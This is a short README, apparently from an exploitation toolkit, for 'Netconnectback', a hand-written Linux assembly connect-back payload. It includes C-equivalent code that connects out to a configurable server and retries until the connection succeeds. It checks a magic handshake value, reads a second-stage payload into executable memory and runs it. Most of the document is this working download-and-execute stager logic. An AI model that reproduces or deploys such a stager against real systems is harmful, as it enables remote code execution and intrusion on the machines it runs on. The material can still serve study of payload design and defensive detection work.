# # Netconnectback Readme # Don A. Bailey # This payload is a simple demonstration of a basic connect-back payload. It is non-optimized hand written assembly that emits functionality similar to the following C code. It is optimized for Linux and has been tested on the current Fedora project image, compiled Jan 9 2017 (4.6.2-00042-g8493175-dirty). struct sockaddr_in sin; sin.sin_family = AF_INET; sin.sin_port = SRV_PORT; sin.sin_addr.s_addr = SRV_ADDR; s = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP); r = -1; do { r = connect(s, &sin, sizeof sin); if(r < 0) sleep(3); } while(r < 0); /* Say hello */ uint32_t x; recv(s, &x, 4, 0); if x != 0xdeadca75 { fail; } send(s, &x, 4, 0); /* Get payload length */ recv(s, &x, 4, 0); m = mmap(NULL, 4096, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_ANONYMOUS|MAP_PRIVATE, -1, 0); t = 0 while(t < x) { r = recv(s, m + t, x - t, 0); if(r < 0) fail; if(r == 0) break; t += r; } int (*f)(int s); f = m; f(s);